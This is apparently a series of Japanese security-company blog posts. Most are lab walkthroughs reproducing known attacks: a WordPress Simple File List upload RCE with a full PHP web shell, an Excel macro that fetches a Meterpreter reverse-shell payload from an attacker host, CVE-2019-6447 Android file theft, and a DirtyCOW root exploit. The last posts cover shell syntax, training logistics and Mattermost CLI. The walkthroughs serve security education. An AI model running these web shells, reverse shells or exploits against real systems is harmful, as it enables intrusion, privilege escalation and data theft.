Armoris日記 Simple File List < 4.2.3 RCE編

このブログは、3月までN高等学校に潜んでいた株式会社Armorisの社員が書いています。

あるもりすぶろぐの内容は個人の意見です。

今週も検証の前にちょこっと宣伝

Armoris M氏『Armorisトレーニング、12月は標的型攻撃対応講座目白押しです!』
トレーニング一覧
M氏が気になる方はLet's OSINT☆

Simple File ListのRCEについて検証してみます

自分が管理するサーバー以外では絶対に試さないでください。また、検証は自己責任で行ってください。

今回検証するのはWordPressプラグインであるSimple File Listのファイル名変更機能の拡張子チェック漏れを悪用した攻撃です。
この脆弱性は、アップロードしたファイルのファイル名変更時に拡張子のチェックが行われていないことが原因で発生するものです。そのため、一度許可された拡張子のファイルをアップロードし、その後任意(.php, .html, etc...)のファイル拡張子に変更することでRCEが可能になります。

脆弱性情報:packet storm
該当プラグインSimple File List

影響を受けるバージョン:Simple File List < 4.2.3

検証環境

検証に使用した環境と各種バージョンは以下のとおりです。

Name Version
UbuntuServer 20.04
Simple File List 4.2.3
WordPress 5.5.3

検証環境の準備

まずはVagrantを使用してUbuntuServerの環境を構築します。

$ cat Vagrantfile 
Vagrant.configure(2) do |config|

config.vm.box = "generic/ubuntu2004"
config.vm.provider "libvirt"
config.vm.network "forwarded_port", guest: 80, host: 6282, host_ip: "172.20.100.120"
end
$ vagrant up

次に仮想環境のIPアドレスを確認してhostファイルを編集後にAnsibleを実行します。

$ vagrant ssh-config
Host default
  HostName 192.168.121.132
  User vagrant
  Port 22
  UserKnownHostsFile /dev/null
  StrictHostKeyChecking no
  PasswordAuthentication no
  IdentityFile /home/ubuntu/SimpleFileList/.vagrant/machines/default/libvirt/private_key
  IdentitiesOnly yes
  LogLevel FATAL
$ cat host
[server]
192.168.121.132 ansible_ssh_user=vagrant ansible_ssh_private_key_file=./.vagrant/machines/default/libvirt/private_key ansible_python_interpreter=/usr/bin/python3
$ ansible-playbook -i host wp.yml -v

今回は以下のymlファイルを使用しています。

WordPressの構築が完了したらアップロードフォルダの作成とパーミッションの設定をします。

$ vagrant ssh
vagrant@ubuntu2004:~$ mkdir -p /var/www/wordpress/wp-content/uploads/simple-file-list
vagrant@ubuntu2004:~$ sudo chown -R www-data:www-data /var/www/wordpress

ここまで完了したらプラグインを有効化して準備完了です。

検証

Armoris日記ではPoCは掲載しませんが、実際にいくつか実行可能なものが公開されています。今回はその中でPythonで書かれたものを試します。
PoC実行時にIPを指定してアップロードするファイルとプロトコルを対話形式で入力します。
検証に使用したPoCでは一度ファイル拡張子を.png形式に変更してからアップロードを行い、ファイル名変更機能でファイル拡張子を.phpに戻しています。

$ cat hack.php

$ python poc.py 192.168.121.132
[*] Enter File Name (working directory): hack.php
[*] Enter protocol (http/https): http
[+] File renamed to hack.png
[+] File uploaded at http://192.168.121.132/wp-content/uploads/simple-file-list/hack.png
[+] File moved to http://192.168.121.132/wp-content/uploads/simple-file-list/hack.php
[^-^] Exploit seems to have worked...
        URL: http://192.168.121.132/wp-content/uploads/simple-file-list/hack.php

PoC実行後に表示されるURLにアクセスするとPHP infoが実行されることが確認できます。

この時のApacheログを確認すると以下のようになっています。

192.168.121.132 - - "POST /wp-content/plugins/simple-file-list/ee-upload-engine.php HTTP/1.1" 200 210 "-" "python-requests/2.11.1"
192.168.121.132 - - "GET /wp-content/uploads/simple-file-list/hack.png HTTP/1.1" 200 306 "-" "python-requests/2.11.1"
192.168.121.132 - - "POST /wp-content/plugins/simple-file-list/ee-file-engine.php HTTP/1.1" 200 210 "http://172.20.100.120:6282/wp-admin/admin.php?page=ee-simple-file-list&tab=file_list&eeListID=1" "python-requests/2.11.1"

次にshell.phpを作成してRCEを試します。
WebShell参考元:Qiita

<?php
session_start();

if ($_POST["cmd"]) {
    $cmd= $_POST["cmd"];
    if ($_POST["cmd"] === "reset") {
        $_SESSION = [];
    } elseif (preg_match("/^cd\s/i", $_POST["cmd"])) {
        $_SESSION["history"] .= $_SESSION["path"]."<br>>".$_POST["cmd"]."<br>";
        $_SESSION["path"] = shell_exec($cmd." & @cd");
    } else {
        $_SESSION["history"] .= $_SESSION["path"]."<br>>".$_POST["cmd"]."<br><pre>".htmlspecialchars(mb_convert_encoding(shell_exec($cmd), "UTF-8"), ENT_QUOTES, "UTF-8", true)."</pre>";
    }
}
?>

<!DOCTYPE html>
<html lang="ja">
    <head>
       <meta charset="UTF-8">
       <title>WebShell</title>
       <style>
            *{
                color: #00ff00;
                font-size: 15px;
                font-family: Hack, monospace;
            }
            body{
                background-color: #000000;
            }
            input{
                border: 0px;
                background-color: transparent;
            }
        </style>
   
   </head>
    <body>
        <?php
            if (empty($_SESSION["history"])) $_SESSION["history"] = "";
            if (empty($_SESSION["path"])) $_SESSION["path"] = shell_exec("@cd");
            echo $_SESSION["history"];
            echo $_SESSION["path"]
        ?>
        <form method="POST">
            ><input autofocus type="text" name="cmd">
        </form>
    </body>
</html>

ファイルアップロード後にアクセスすると以下のようにRCEが成功することが確認できます。 f:id:Armoris:20201127154048p:plain 以上で検証終了です。

最後に

今回検証した脆弱性はよくあるアップロード時のファイル拡張子チェックの漏れではなく、名前変更機能のファイル拡張子チェックが行われていないことが原因でした。
アップロード時は開発時に気を使う部分だと思いますが、その他にもファイル操作に関連する処理にはできるだけ拡張子チェックなどを行うようにした方が良いと感じました。

私自身も開発時には気を付けていきたいと思います。

自分が管理するサーバー以外では絶対に試さないでください。
また、検証は自己責任で行ってください。

Armoris日記 ExcelMacro HTTP Reverse Shell

このブログは、3月までN高等学校に潜んでいた株式会社Armorisの社員が書いています。

あるもりすぶろぐの内容は個人の意見です。

検証の前にちょこっと宣伝

Armoris M氏『Armorisトレーニング、12月は標的型攻撃対応講座目白押しです!』
トレーニング一覧
M氏が気になる方はLet's OSINT☆

Excelのマクロで Reverse Shell!!!

今回のArmoris日記ではExcelファイルを開いてマクロを有効化することでReverse Shellが作成できるか検証します。
一般的なマクロを使用した攻撃ではマルウェアのダウンロードなどが行われます。

HTTP Reverse Shellとは:
Firewallなどで弾かれる可能性を下げるためにhttpを利用してターゲット端末側から接続させる方法でターゲット端末のshellを使うものです。 f:id:Armoris:20201120180138p:plain

検証環境

まずは検証にあたって使用した環境を紹介します。
Excelファイルを開く際は手持ちのOfficeを使用しています。

Name Version
Kali Linux 2020.2
MSEdge on Win10 Stable 1809

各種準備

攻撃者:Kali Linux環境

まずはKali Linuxを使用してPayloadの生成とhttpの待受を行います。

PayloadはKali LinuxのSocial Engineer Toolkitを使用して生成します。

[---]        The Social-Engineer Toolkit (SET)         [---]
[---]        Created by: David Kennedy (ReL1K)         [---]
                      Version: 8.0.3
                    Codename: 'Maverick'
[---]        Follow us on Twitter: @TrustedSec         [---]
[---]        Follow me on Twitter: @HackingDave        [---]
[---]       Homepage: https://www.trustedsec.com       [---]
        Welcome to the Social-Engineer Toolkit (SET).
         The one stop shop for all of your SE needs.

   The Social-Engineer Toolkit is a product of TrustedSec.
                                                                                                                         
           Visit: https://www.trustedsec.com                                                                             
                                                                                                                         
   It's easy to update using the PenTesters Framework! (PTF)
Visit https://github.com/trustedsec/ptf to update all your tools!                                                        
                                                                                                                         
                                                                                                                         
 Select from the menu:

   1) Spear-Phishing Attack Vectors
   2) Website Attack Vectors
   3) Infectious Media Generator
   4) Create a Payload and Listener
   5) Mass Mailer Attack
   6) Arduino-Based Attack Vector
   7) Wireless Access Point Attack Vector
   8) QRCode Generator Attack Vector
   9) Powershell Attack Vectors
  10) Third Party Modules

  99) Return back to the main menu.

set> 9

The Powershell Attack Vector module allows you to create PowerShell specific attacks. These attacks will allow you to use PowerShell which is available by default in all operating systems Windows Vista and above. PowerShell provides a fruitful  landscape for deploying payloads and performing functions that  do not get triggered by preventative technologies.

   1) Powershell Alphanumeric Shellcode Injector
   2) Powershell Reverse Shell
   3) Powershell Bind Shell
   4) Powershell Dump SAM Database

  99) Return to Main Menu

set:powershell>1
Enter the IPAddress or DNS name for the reverse host: 10.0.1.30
set:powershell> Enter the port for the reverse [443]:8080
[*] Prepping the payload for delivery and injecting alphanumeric shellcode...
[*] Generating x86-based powershell injection code...
[*] Reverse_HTTPS takes a few seconds to calculate..One moment..
No encoder specified, outputting raw payload
Payload size: 380 bytes
Final size of c file: 1622 bytes
[*] Finished generating powershell injection bypass.
[*] Encoded to bypass execution restriction policy...
[*] If you want the powershell commands and attack, they are exported to /root/.set/reports/powershell/
set> Do you want to start the listener now [yes/no]: : no

10.0.1.30はKali Linuxipアドレスを入力します。
8080は待ち受ける予定のポートを入力します。

生成されたPayloadを/var/www/html/以下に保存してwebサーバーを起動します。

root@kali-linux:~/.set/reports/powershell# mv x86_powershell_injection.txt /var/www/html/pd.txt
root@kali-linux:~/.set/reports/powershell# service nginx start

Payloadを配置したら先ほど設定した8080ポートで待ち受けます。
conf.rcを作成し、ipアドレスなどを入力してmsfconsoleで起動します。

$ cat conf.rc
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_https
set LHOST 10.0.1.30
set LPORT 8080
set ExitOnSession false
exploit -j -z
$ msfconsole -q -r conf.rc
[*] Processing conf.rc for ERB directives.
resource (conf.rc)> use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
resource (conf.rc)> set PAYLOAD windows/meterpreter/reverse_https
PAYLOAD => windows/meterpreter/reverse_https
resource (conf.rc)> set LHOST 10.0.1.30
LHOST => 10.0.1.30
resource (conf.rc)> set LPORT 8080
LPORT => 8080
resource (conf.rc)> set ExitOnSession false
ExitOnSession => false
resource (conf.rc)> exploit -j -z
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
msf5 exploit(multi/handler) >
[*] Started HTTPS reverse handler on https://10.0.1.30:8080

msf5 exploit(multi/handler) >

これでKali Linuxでの準備が完了しました。

侵入先:Windows環境

いよいよ侵入先のWindows環境を準備します。
以下のURLからブラウザ検証用の仮想マシンイメージを取得します。私はVirtualBox用のイメージを使用しました。
Microsoft Edge Developer

ダウンロードが完了したらVirtualBoxでインポートを行い起動します。
起動できたらデフォルトパスワードのPassw0rd! でログインして、Windows Securityからリアルタイム保護などを無効にしておきます。
f:id:Armoris:20201119182804p:plain

次に以下のツールを使用してマクロ入りのExcelファイルを作成します。
zipなどでGitHubからダウンロードし、デスクトップなどに展開しておきます。
Generate-Macro

PowerShellを開いてツールがあるフォルダーまで移動し、.ps1ファイルを実行します。
Enter URL of Invoke-Shellcode script (If you use GitHub, use the raw version):には先ほど生成したPayloadのURLを入力し、ipアドレスやポート番号を入力後にファイル名を入力してExcelファイルを生成します。

PS C:\Users\IEUser\Desktop> .\Generate-Macro.ps1
Enter URL of Invoke-Shellcode script (If you use GitHub, use the raw version): http://10.0.1.30/pd.txt
Enter IP Address: 10.0.1.30
Enter Port Number: 8080
Enter the name of the document (Do not include a file extension): file

--------Select Attack---------
1. Meterpreter Shell with Logon Persistence
2. Meterpreter Shell with Powershell Profile Persistence (Requires user to be local admin)
3. Meterpreter Shell with Alternate Data Stream Persistence
4. Meterpreter Shell with Scheduled Task Persistence
------------------------------
Select Attack Number & Press Enter: 1

--------Select Payload---------
1. Meterpreter Reverse HTTPS
2. Meterpreter Reverse HTTP
------------------------------
Select Payload Number & Press Enter: 1
Saved to file C:\Users\IEUser\Desktop\file.xls
Clean-up Script located at C:\Users\IEUser\Desktop\RegistryCleanup.ps1

デスクトップにExcelファイルが生成されていれば成功です。
f:id:Armoris:20201120132339p:plain

準備ができたら生成されたExcelファイルを開いてマクロを有効化してみましょう。
f:id:Armoris:20201120142335p:plain

Windows画面上では何も変化がありませんが、Kali Linuxの方では画像のように侵入に成功しています。
f:id:Armoris:20201120142557p:plain

本当にWindowsに侵入できているかを確認するためにデスクトップにファイルを作成してみます。
まずはshellと入力してWindowsのシェルを利用します。コマンドプロンプトを使ったことがあれば見たことのある表示になっていると思います。
次にcd C:\Users\IEUser\Desktopと入力してデスクトップまで移動し、echo Hack!!! > hack.txtと入力してテキストファイルを作成します。 f:id:Armoris:20201120143540p:plain

Windowsのデスクトップを見ると実際にファルが作成されていることが確認できます。
f:id:Armoris:20201120143843p:plain

以上で今回の検証は終わりです。

おわり

普段業務の中で流れ作業のようにエクセルファイルを開いてマクロの有効化が行われていると思いますが、今回の検証でそのファイルがもし悪意のある第3者によって作られていた場合たったワンクリックで被害を受けてしまうことが分かったのではないかと思います。

また、実際に検証する際は必ず仮想環境などを用意し、そこに対して攻撃コードを実行するようにしてください。

Armoris日記 CVE-2019-6447編

このブログは、3月までN高等学校に潜んでいた株式会社Armorisの社員が書いています。

あるもりすぶろぐの内容は個人の意見です。

Androidアプリの脆弱性を初めて検証してみる

脆弱性の検証は自己責任で行ってください。また、自身で管理する端末以外ではやらないでください

今週の Armoris日記は Androidアプリの脆弱性検証をやってみたというものです。
今回初めて Androidアプリの脆弱性検証を行うので、わかりやすく試しやすそうな CVE-2019-6447 ES File Explorer について取り上げます。

CVE-2019-6447 は外部から特定のポートに http リクエストを投げることによって Android端末内部の情報を認証なしに取得することができるというものです。
実際に使える PoCがいくつか出回っており、脆弱性のあるバージョンのアプリがインストールされた端末と同一ネットワーク内にいることで攻撃が可能になります。

Description参考:JVN

脆弱性情報:NVD
影響を受けるバージョン:ES File Explorer <= 4.1.9.7.4
CVE番号:CVE-2019-6447

検証環境

今回は検証にあたり手元にあった実機 (Lenovo TB-8) を使用しています。

Name Version
Android 7.0
ES File Explorer 4.1.9.7.4

検証用端末の準備

まずは脆弱性のあるバージョンの apk ファイルを以下からダウンロードします。

apk のダウンロードが完了したら検証端末を USB で接続し、Android File Transfer を使用して Downloadフォルダにコピーします。
f:id:Armoris:20201113160406p:plain

ファイルのコピーが完了したら端末から apk ファイルをタップし、インストールを選択します。
f:id:Armoris:20201113162233j:plain:w400

インストールが完了したらアプリを開いてストレージへのアクセスを許可します。
これでアプリを使う準備が完了しました。
f:id:Armoris:20201113162616j:plain:w400

いよいよ実際に PoC を試してみます

まずは Port 59777 が open になっているか nmap を使用して確認します。
f:id:Armoris:20201113163118p:plain

ポートが open になっていることを確認したので次は画像の一覧を取得してみます。
f:id:Armoris:20201113163449p:plain
実行結果は以下のようになっており、Downloadフォルダの下に4枚の画像があることが確認できました。
このコマンドは Downloadフォルダ以外にも画像があれば全て表示されるようになっています。

user@kali-linux:~/Desktop$ python3 poc.py --cmd listPics --ip 192.168.249.10
[*] Executing command: listPics on 192.168.249.10
[*] Server responded with: 200

{"name":"file1.jpg", "time":"2020/04/22 04:53:47 åå¾", "location":"/storage/emulated/0/Download/file1.jpg", "size":"507.22 KB (519,389 ãã¤ã)", },
{"name":"file2.jpg", "time":"2020/04/22 04:53:59 åå¾", "location":"/storage/emulated/0/Download/file2.jpg", "size":"363.92 KB (372,657 ãã¤ã)", },
{"name":"file3.jpg", "time":"2020/04/22 06:36:37 åå¾", "location":"/storage/emulated/0/Download/file3.jpg", "size":"1.17 MB (1,224,704 ãã¤ã)", },
{"name":"Screenshot.jpg", "time":"2020/11/13 04:00:32 åå¾", "location":"/storage/emulated/0/Download/Screenshot.jpg", "size":"175.26 KB (179,465 ãã¤ã)"}

次は先ほどの一覧の中からScreenshot.jpgというファイルをダウンロードしてみます。
f:id:Armoris:20201113164202p:plain
ダウンロードが完了した Screenshot.jpg を開くと問題なく表示されています。
f:id:Armoris:20201113164439p:plain

ここまでで一切の認証を必要とせず、同一ネットワーク内の Android端末から画像ファイルの取得に成功しました。
他にもインストールされているアプリの一覧取得やデバイス情報の取得が可能なことを確認しました。

おわり

今回検証した脆弱性は少し古いものですが、これで Androidアプリの脆弱性検証を行う際の手順を把握することができたと思っています。
今後はエミュレーター上で今回の脆弱性を再現し、トレーニングなどに再利用しやすくしたり、他の Androidアプリの脆弱性検証も試していきたいと思います。

**今回検証した脆弱性は同一ネットワークに所属しているだけで攻撃が可能なため、自身で管理するネットワーク環境及び端末以外ではやらないでください。

Armoris日記 DirtyCOW編

このブログは、3月までN高等学校に潜んでいた株式会社Armorisの社員が書いています。

あるもりすぶろぐの内容は個人の意見です。

今更ながら DirtyCOW の検証をやってみます

脆弱性の検証は自身で管理するサーバー以外にはしないでください。

DirtyCOWとは Linux Kernel に存在する脆弱性Linux Kernel のメモリサブシステム内における copy-on-write の取り扱いで共有リソースへの排他的アクセスの制御ができず、同時に動作している別のコードシーケンスによって共有リソースにアクセスされてしまう競合状態が発生し、プライベートな読み取り専用メモリマッピングが破壊される脆弱性のことを言います。

Description参考:CWE

脆弱性が発表された当時すでにいくつかの PoC も公開されており、大きく話題になっていたようです。

脆弱性情報:NVD
影響を受けるバージョン:Linux Kernel 2.6.22 < 4.8.3
CVE番号:CVE-2016-5195

検証環境

今回検証にあたり Vagrant を使用して環境を用意しています。
使用した Box :sputnik13/trusty64

Name Version
Ubuntu Server 14.04
Linux Kernel 3.16.0-30-generic

さくっと検証環境を用意

以下の Vagrantfile を使用して仮想環境を用意します。

Vagrant.configure(2) do |config|
  config.vm.define :node1 do |node|
    node.vm.box = "ubuntu14.04"
    node.vm.hostname = "node1"
    node.vm.network :public_network,
      :dev => "br0",
      :mode => "bridge",
      :type => "bridge"
  end
end
Vagrant Box に関するちょっとした小ネタ

基本的に Vagrantfile に使いたい Box を書くことで自動的にダウンロードして起動してくれます。
しかしこの Box ダウンロードが非常に遅いことが多い為、wget を使用して Box をダウンロード後 Vagrant で使えるようにする方法を紹介します。

$ wget https://vagrantcloud.com/generic/boxes/ubuntu2004/versions/3.1.2/providers/libvirt.box
$ ls
libvirt.box
$ vagrant box add ubuntu2004 libvirt.box

Vagrantfile を用意したら vagrant up を実行して起動し、起動したら vagrant ssh で仮想環境に接続します。

$ vagrant up
Bringing machine 'node1' up with 'libvirt' provider...
==> node1: Creating image (snapshot of base box volume).
==> node1: Creating domain with the following settings...
〜〜〜〜 一部省略 〜〜〜〜
==> node1: Rsyncing folder: /home/ubuntu/blog/ => /vagrant
$ vagrant ssh
Welcome to Ubuntu 14.04.2 LTS (GNU/Linux 3.16.0-30-generic x86_64)

 \* Documentation:  https://help.ubuntu.com/
Last login: Wed Apr 15 10:16:51 2015 from 10.0.2.2
vagrant@node1:~$

仮想環境に接続できたら今回使用する PoC をコンパイルするために gcc を入れておきます。

vagrant@node1:~$ sudo apt update
vagrant@node1:~$ sudo apt -y install wget gcc

PoC実行前に環境の確認をします。

vagrant@node1:~$ uname -r
3.16.0-30-generic
vagrant@node1:~$ id
uid=1000(vagrant) gid=1000(vagrant) groups=1000(vagrant),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),109(lpadmin),110(sambashare)

PoC を実行してみる

さくっと環境の準備が終わったら PoC を実際に実行してみます。
PoC は複数公開されていますが、今回は以下の PoC を試してみます。
PoC:EXPLOIT DB
Gist:Gist

vagrant@node1:~$ wget https://gist.github.com/rverton/e9d4ff65d703a9084e85fa9df083c679/raw/9b1b5053e72a58b40b28d6799cf7979c53480715/cowroot.c
vagrant@node1:~$ ls
cowroot.c

PoC ファイルをダウンロードできたらコンパイルして実行します。
Exploit が成功すると以下のように root ユーザーのシェルにログインできるようになります。
id コマンドを実行して uid が root になっていることを確認します。

vagrant@node1:~$ gcc cowroot.c -o cowroot -pthread
vagrant@node1:~$ ls
cowroot  cowroot.c
vagrant@node1:~$ ./cowroot
DirtyCow root privilege escalation
Backing up /usr/bin/passwd to /tmp/bak
Size of binary: 47032
Racing, this may take a while..
thread stopped
/usr/bin/passwd overwritten
Popping root shell.
Don't forget to restore /tmp/bak
thread stopped
root@node1:/home/vagrant# id
uid=0(root) gid=1000(vagrant) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),109(lpadmin),110(sambashare),1000(vagrant)

これで root 権限の取得まで再現できました。

最後に

今回検証した DirtyCOW と呼ばれる脆弱性は古いものですが、すでに多くの PoC や検証に関する情報が出回っています。
実際に root 権限取得までが非常に容易に行えることが確認できたと思います。
今後はこの脆弱性を組み込んだ CTF の問題なども作成できればと考えています。

また、いつものことですが 自分が管理するサーバー以外では絶対に試さないでください。
検証は自己責任でお願いします。

Armoris日記 Shell for if編

このブログは、3月までN高等学校に潜んでいた株式会社Armorisの社員が書いています。

あるもりすぶろぐの内容は個人の意見です。

Shell で for文とか if文が使いたい!!!

今回の Armoris日記は Shellスクリプトを書いているとき唐突に for文や if文を使いたくなってしまった方向けです。

内容は普段私が書いている書き方になるので、間違っている部分があればご指摘お願いします。

for文 if文とは?

簡単に for と if について説明します。
for文は 20回 Hello と出力したいなどあることを一定回数繰り返したいときに使います。
if文はもし入力された値が 10 なら Hello それ以外であれば World を出力するなど特定の条件で処理を変えたいときに使います。

早速 for文を書く

早速 Shellスクリプトでの for文の書き方を2つ紹介します。以下で紹介する書き方は最も汎用性が高く個人的によく使う書き方だと思います。
これはプログラムを書いたことある人であれば馴染みやすいのではないかと思います。

#!/bin/bash

echo "for sample 1"
for i in `seq 1 3`
do
        echo $i
done

echo "for sample 2"
for i in {1..3}
do
        echo ${i}
done

2つの for文はそれぞれ書き方が少し違いますが実行結果は以下のように同じになります。

for sample 1
1
2
3
for sample 2
1
2
3

おまけ 無限ループ

for文から少し離れてしまいますがたまには無限ループを使いたくなる時もあると思います。
そこで while を使って無限ループを作る方法を以下で紹介します。

while : ;
do
        echo hoge
done

もちろん無限ループなので実行結果は永遠とhogeが出力され続けます。

if文を書く

次に Shell で if文を使いたいときの書き方を紹介します。
まずは条件式内で比較に使える記号を確認します。

記号 Shell
= =
> -gt
< -lt
>= -ge
<= -le
NOT !
AND -a 又は &&
OR -o 又は ||

全ての例を書くと長くなってしまうため一部のみ紹介させていただきます。

#!/bin/bash

A="A"
B="A"
if [ $A = $B ] ;
then
        echo "AとBは同じ文字列"
else
        echo "AとBは違う文字列"
fi

A=4
B=2
if [ $A -lt $B ] ;
then
        echo "Bの方が大きい"
else
        echo "Aの方が大きい"
fi

A=2
B=4
if [ $A -gt $B ] ;
then
        echo "Aの方が大きい"
else
        echo "Bの方が大きい"
fi

これで for文と if文を使った簡単な処理が Shellスクリプトで書けるようになります。
最低限これら2つが使えるだけでもより多くのことが Shellスクリプトでできるようになります。

他にも for文を使ってテキストファイルの内容を1行ずつ処理することも可能ですし、例で紹介した if文の比較以外にも表にあるものを使ってより複雑な条件分岐をさせることも可能です。

おまけ

最初に紹介した for文の中で以下の書き方をすると一部環境では出力結果が異なる場合があります。

#!/bin/bash

for i in {1..3}
do
        echo ${i}
done

実行結果

{1..3}

これについて調べてみると以下の Qiita記事を見つけました。
Qiita:bashで「Syntax error: "(" unexpected」が表示される

どうやら Ubuntu 上で Shellスクリプトを実行すると、配列や上の例で挙げている for文などで公文エラーや意図しない挙動になることがあるようです。
原因は dash と言うシェルが使用されている為だそうです。

私の環境でも以下のようになっていました。

$ ls -l /bin/sh
lrwxrwxrwx 1 root root 4 Feb 14  2019 /bin/sh -> dash
$ which bash
/bin/bash

解決策としてはシェルを変更する方法と、以下のように直接 bash を指定して実行することで一時的に実行することができます。

$ /bin/bash example.sh

以上で今週の Armoris日記を終わりにしようと思います。

それでは良いスクリプトライフを!!!

さぽぉたぁ日記 初級向けWeb脆弱性トレーニング編

このブログは、3月までN高等学校に潜んでいた株式会社Armorisの社員が書いています。

あるもりすぶろぐの内容は個人の意見です。

サポーター日記って何書くの

サポーター日記では Armoris が行っている短期集中型のトレーニング(講座)で私がサポート役を努めた際の準備や、開催側として行ったことについて書いていこうと思います。

早速今回はサポーター編の第1回目として 2020/10/20 - 2020/10/21 の日程で行われた DOJO Shot の新コースである「初級向けWebアプリケーションのリスクとその対策を知るトレーニング 」がテーマです。

レーニング概要

「Webアプリケーションにおける代表的な脆弱性の発生原理と対策を学習します。プログラムで対策する脆弱性については、修正作業のハンズオン演習も行います。」
Armoris HPより

以下の動画は簡単なデモを交えたトレーニングの紹介です。

www.youtube.com

レーニング実施にあたって

今回実施するのは実機を用いたハンズオン形式のトレーニングですが、オンライン開催ということでいくつかオンライン開催のポイントを箇条書きで紹介します。

以下は想定していたオンライン受講環境の図です。
f:id:Armoris:20201026165320p:plain
Armoris HPより

オンライン実施に伴う演習環境への接続

  • 演習環境に接続するためには VPN が必須となるため事前に接続確認ができるようフォローを行った
  • VPN 接続時に社内端末に入っているアプリと競合する可能性があることを確認
  • 各種接続情報の共有には Google Drive を使用
  • 事前に受講者の受講環境を把握しておくとフォローが容易

オンライン実施に伴うトレーニングの進行

  • 講義はスライドを使用した説明のし易さと利便性から ZOOM を使用し講師から受講生の一方向のみで利用
  • 画像の貼り付けや個別での対応が ZOOM では難しいため双方向コミュニケーションには Mattermost を使用
  • 別途紙のテキストも用意しページ番号を通知することで手元で確認しやすいよう配慮
  • 受講者の画面を確認できないためコピペできるよう資料を工夫しタイプミスに配慮
  • 基本的に音声情報がメインになるため受講者にわかりやすいようゆっくり正確に喋るよう特に配慮
  • 演習では受講者ごとの進行促進を把握するために課題が成功したら Mattermost で書き込んでもらった
  • 受講者の画面が見えずどこで詰まっているかをこちらから把握できないためわからなければフォローしますと定期的にアナウンス
  • 事前に演習で必要なショートカットや URL などはデスクトップやブックマークに入れておき操作説明を統一

オンラインで実機を使用したハンズオントレーニングを行う際に注意したポイントを紹介させていただきました。

参加者アンケートから

最後にトレーニング終了後に入力していただいたアンケートの結果を紹介させていただきます。

アンケートの中で「演習の量はいかがでしたか」という質問に対しては、ほとんどの参加者の方が演習の量が少し物足りなかったと回答しています。
今回のトレーニングの参加理由に演習を通して学びたいという方が多くいましたが、初級者向けということもあり演習の量や難易度が高くならないようにしていたということが原因ではないかと考えています。
f:id:Armoris:20201027095248p:plain

最後に

アンケート結果から今回用意した構成でトレーニングを行うにあたり問題無いということがわかったので、今後も今回の構成を基本としてトレーニングを実施する予定です。
運用面においても今回のアンケートなどを参考にトレーニング事前準備の効率アップやスタッフの方から積極的にチャットを送るなど双方向コミュニケーションの活発化を図りたいと考えています。

また今回のアンケートを参考に DOJO Shot のコースを増やすなどコンテンツの拡充も行っていきたいと思います。

Armoris日記 Mattermost CLI編

このブログは、3月までN高等学校に潜んでいた株式会社Armorisの社員が書いています。

あるもりすぶろぐの内容は個人の意見です。

Mattermost CLIを使う

そもそも Mattermost とは何か

Mattermost とはオープンソースで開発されているチャットサービスです。使用感や UI は Slack によく似ています。そのため Slack を使用したことがある人ならばすぐに馴染めると思います。

今回は Mattermost を使用する際にコマンドラインでユーザーの作成等が行える Mattermost CLI を実際の使用例を交えて紹介していこうと思います。

今回紹介するコマンド以外にも便利なコマンドがたくさんあるため、興味がある方は以下URLから公式リファレンスを参照してください。

基本の使い方

Mattermost CLI のコマンドを使うためにはインストール時に Mattermost を展開した場所の中にある Mattermost ファイルを指定する必要があります。
この時公式リファレンスでは Mattermost のルートディレクトリから実行しろとあるので、デフォルトでインストールした場合は以下のように使います。

cd /opt/mattermost
bin/mattermost {command}

ユーザー作成

Mattermost CLI でユーザーを作成する場合は以下のようにメールアドレスとユーザー名、パスワードを指定します。

bin/mattermost user create --email user@example.test --username user --password Password

以下はuser createで指定できるオプションです。
--system_adminを指定すれば管理者アカウントを作成することができます。

--email string       Email
--firstname string   First Name
--lastname string    Last Name
--locale string      Locale (ex: en, fr)
--nickname string    Nickname
--password string    Password
--system_admin       Make the user a system administrator
--username string    Username

ユーザーをチームに追加

作成したユーザーをチームに参加させるには以下のようにユーザーのメールアドレスとユーザー名を指定します。

bin/mattermost team add ExampleTeam user@example.test user

チャンネル作成

チームに参加しているユーザーが誰でも参加できる公開チャンネルを作る際は以下のようにコマンドを実行します。
この時チャンネル名は全て小文字にする必要がありますが、display nameは大文字やスペースを使用することができます。

bin/mattermost channel create --team ExampleTeam --name channel --display_name "Channel"

以下はchannel createで指定できるオプションです。
--privateを指定することでシークレットチャンネルを作成することができます。

--display_name string   Channel Display Name
--header string         Channel header
--name string           Channel Name
--private               Create a private channel.
--purpose string        Channel purpose
--team string           Team name or ID

ユーザーをチャンネルに追加

作成したチャンネルにユーザーを追加する場合は以下のようにコマンドを実行します。
シークレットチャンネルの場合も同様にチャンネル名を指定してユーザーを追加することができます。

bin/mattermost channel add ExampleTeam:channel user

シェルスクリプトで楽をする

ここまで Mattermost を利用するにあたってよく使うと思われるコマンドを紹介しましたが、これを手動でぽちぽちするのは大変なので、次はシェルスクリプトを使って楽に大量のアカウントを操作する方法を紹介します。

実際にトレーニングを行う際などは大量にユーザーを作成してチャンネルに追加したりする作業が必要だと思いますが、シェルスクリプトを使えば全て自動で行うことができます。
また、次に環境を用意する時もパラメータを変更するだけで可能なため、非常に楽に運用することができると思います。

ここでは例として以下の要件に沿ってチャンネルとユーザーを作成し、各ユーザーをチームに参加させて作成したチャンネルに追加するスクリプトを書きます。

項目 名前
チーム名 ExampleTeam
ユーザー名 user1 ~ user10
メール user1@example.test ~ user10@example.test
パスワード password1 ~ password10
参加チャンネル channel
#!/bin/bash

TeamName="ExampleTeam"
Channel="channel"
User="user"
Mail="example.test"
Password="password"

bin/mattermost channel create --team $TeamName --name $Channel --display_name "$Channel"

for i in `seq 1 10`
do
        bin/mattermost user create --email $User$i@$Mail --username $User$i --password $Password$i
        bin/mattermost team add $TeamName $User$i@$Mail $User$i
        bin/mattermost channel add $TeamName:$Channel $User$i
done

最後に

冒頭でも説明したように今回紹介したのコマンドはごく一部です。Mattermost CLI には他にもたくさんのコマンドが用意されているため興味がある方は是非公式リファレンスを参照してください。

そして最後にシェルスクリプトを紹介しましたが、Mattermost CLI のコマンドだけでなくシェルスクリプトでいろいろなことができます。シェルスクリプトについても興味があれば是非調べてみてください。